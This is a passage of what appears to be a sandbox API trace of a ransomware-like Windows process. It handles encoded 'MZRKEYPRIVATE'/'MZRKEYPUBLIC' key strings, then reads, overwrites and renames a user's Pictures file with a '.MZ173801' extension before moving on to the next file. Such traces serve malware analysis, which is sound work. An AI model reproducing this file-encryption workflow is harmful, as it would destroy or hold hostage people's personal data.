lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x24d21ec, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0153.622] GetCurrentThreadId () returned 0xab4 [0153.622] GetCurrentThreadId () returned 0xab4 [0153.622] GetCurrentThreadId () returned 0xab4 [0153.623] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0153.623] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x24e324c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0153.623] GetCurrentThreadId () returned 0xab4 [0153.623] GetCurrentThreadId () returned 0xab4 [0153.623] GetCurrentThreadId () returned 0xab4 [0153.623] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\4yBx\\dCe5ivejzMlw0ls1pYC.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\4ybx\\dce5ivejzmlw0ls1pyc.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f8 [0153.646] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f740*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f740*=0) returned 0x0 [0153.646] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x0 [0153.646] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x16e9d [0153.646] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x0 [0153.646] ReadFile (in: hFile=0x2f8, lpBuffer=0x24eb050, nNumberOfBytesToRead=0x16e9d, lpNumberOfBytesRead=0x19f74c, lpOverlapped=0x0 | out: lpBuffer=0x24eb050*, lpNumberOfBytesRead=0x19f74c*=0x16e9d, lpOverlapped=0x0) returned 1 [0153.648] CloseHandle (hObject=0x2f8) returned 1 [0153.650] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\4yBx\\dCe5ivejzMlw0ls1pYC.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\4ybx\\dce5ivejzmlw0ls1pyc.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f8 [0153.652] WriteFile (in: hFile=0x2f8, lpBuffer=0x2503080*, nNumberOfBytesToWrite=0x16e9d, lpNumberOfBytesWritten=0x19f758, lpOverlapped=0x0 | out: lpBuffer=0x2503080*, lpNumberOfBytesWritten=0x19f758*=0x16e9d, lpOverlapped=0x0) returned 1 [0153.654] CloseHandle (hObject=0x2f8) returned 1 [0153.660] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Pictures\\4yBx\\dCe5ivejzMlw0ls1pYC.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\4ybx\\dce5ivejzmlw0ls1pyc.jpg"), lpNewFileName="C:\\Users\\FD1HVy\\Pictures\\4yBx\\dCe5ivejzMlw0ls1pYC.jpg.MZ173801" (normalized: "c:\\users\\fd1hvy\\pictures\\4ybx\\dce5ivejzmlw0ls1pyc.jpg.mz173801")) returned 1 [0153.661] GetCurrentThreadId () returned 0xab4 [0153.661] GetCurrentThreadId () returned 0xab4 [0153.661] GetCurrentThreadId () returned 0xab4 [0153.661] GetCurrentThreadId () returned 0xab4 [0153.661] GetCurrentThreadId () returned 0xab4 [0153.661] GetCurrentThreadId () returned 0xab4 [0153.661] FindNextFileW (in: hFindFile=0xa1b818, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39648ce0, ftCreationTime.dwHighDateTime=0x1d5e236, ftLastAccessTime.dwLowDateTime=0xf96895a0, ftLastAccessTime.dwHighDateTime=0x1d5e1c7, ftLastWriteTime.dwLowDateTime=0xf96895a0, ftLastWriteTime.dwHighDateTime=0x1d5e1c7, nFileSizeHigh=0x0, nFileSizeLow=0x17926, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="HyovCFdDMEMPXi2tYJN.png", cAlternateFileName="HYOVCF~1.PNG")) returned 1 [0153.661] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0153.662] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0153.662] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\4yBx\\HyovCFdDMEMPXi2tYJN.png" (normalized: "c:\\users\\fd1hvy\\pictures\\4ybx\\hyovcfddmempxi2tyjn.png"), fInfoLevelId=0x0, lpFileInformation=0x19f78c | out: lpFileInformation=0x19f78c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39648ce0, ftCreationTime.dwHighDateTime=0x1d5e236, ftLastAccessTime.dwLowDateTime=0xf96895a0, ftLastAccessTime.dwHighDateTime=0x1d5e1c7, ftLastWriteTime.dwLowDateTime=0xf96895a0, ftLastWriteTime.dwHighDateTime=0x1d5e1c7, nFileSizeHigh=0x0, nFileSizeLow=0x17926)) returned 1 [0153.662] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\4yBx\\HyovCFdDMEMPXi2tYJN.png" (normalized: "c:\\users\\fd1hvy\\pictures\\4ybx\\hyovcfddmempxi2tyjn.png")) returned 0x20 [0153.662] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\4yBx\\HyovCFdDMEMPXi2tYJN.png", dwFileAttributes=0x80) returned 1 [0153.664] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEwr7DlTDCocONwrgtOQPCn8OPw6BVOcK1w7jDl8OHWMKdPcOkBMKlwoXDtRU4w70Ew4FzOMOcwpwrS01QOGgeUMKfw4vDqcKPw43DtMOYwqFNwr0nRcOBV8Knwp9vVMOSwojCnsOiXcKhcsKtwo7CjUBaXcKcPWvCuAU4w7XCtMOfO8KIwqJEwobDkn/DtBzCicKaDGbCp8OfKzUxw55PwrM5KjjDncKcNGXCuMKFw7fDmcK4IltIw5fCnDk6w7xxwpdhw6kRLcO8w6jCiMOSAiYHwoUywrLCl8KJBX7DgBXDni0GwphlwpPCkcO4wqHDvMKRPMOnwpFqJmcCQBJjw5fDphzCgHJywqwsXhfDnWgSWnFrXsKaDsKgwp3CsMO8OcOuw7HCvMOXHRLCthDCpkPDicKlWxFmQjzDq8O+RcOow7xsOTYxb2hswqzCoi9hw7DDqcOGERzCvXc5QsOXHMOCHjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOeZ8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCoWtBFVADMVTDsxwyw6RcATQkwpw9wrlvRWomw7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrsO8FcOza8Ouw6lew4PDhsKqFcKaNsKJw7x5NhJRFm8Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xcwrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7Ct8KsPMKdw7o4ATIew7jDscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaOQtEa8KLw47ClWvChcOewrd6LsOPwqjCpsKYRMOhwp5kHGplO8KJMcKrwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTxrw54rbzrDtMOfwpvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKmw57DjcOzY3pZw7vCsMKGwobCqGLDjX/CqsOvw5VAVMKFXgHDpsKkM8K+ZDggE8KSw53Cm8OgwqLCoXlNfzlhQMOyN8ODw7DDnsKGUHx4GsKPw6lqVcKkwok/QAzCscOVWcK7b2jCoGEcZXJywqLCgMOKw6EVw4cSwp5Uw5/Dj8Kodjo0wonDq8KkHWbDnsKmCSbDg8O9woHDrsOoFl3DmcOqw6fDicK0w609w4dVwq1/w4HCrsKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOOcKeeXpjQMOCasK+w4bDg8O4wog/wqzCq3/DtQdxwoJyw7cvMcONw6JrXcK3w5VcwrHCkcKIBsKcUMOuwo7DjQfCnlU5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7zCsCjDusKaSHnDm8KcwpFvIw7DlcKQw4DDqsKdE8KXw4t+RMOXwo9Aw7jCuWbDucOXwqLDmcOfT8K3w4Jow6AyDsKuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCpnplwrtew7zChsO0ekTDh8Khwq56cgvDnCbCvcK9WcOdNMKXw7nDj8KwAWYVw4bDuTnCnMKwwopew7cyMw9iwofCncOLw48awotFwrYvwoDCvcOxJsK7w7wwwoTCocOYJRVLw4/CnjPCl8OrwpE4w7xkwoLCg8KGw4HDqDMcwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0153.664] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x24d21ec, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 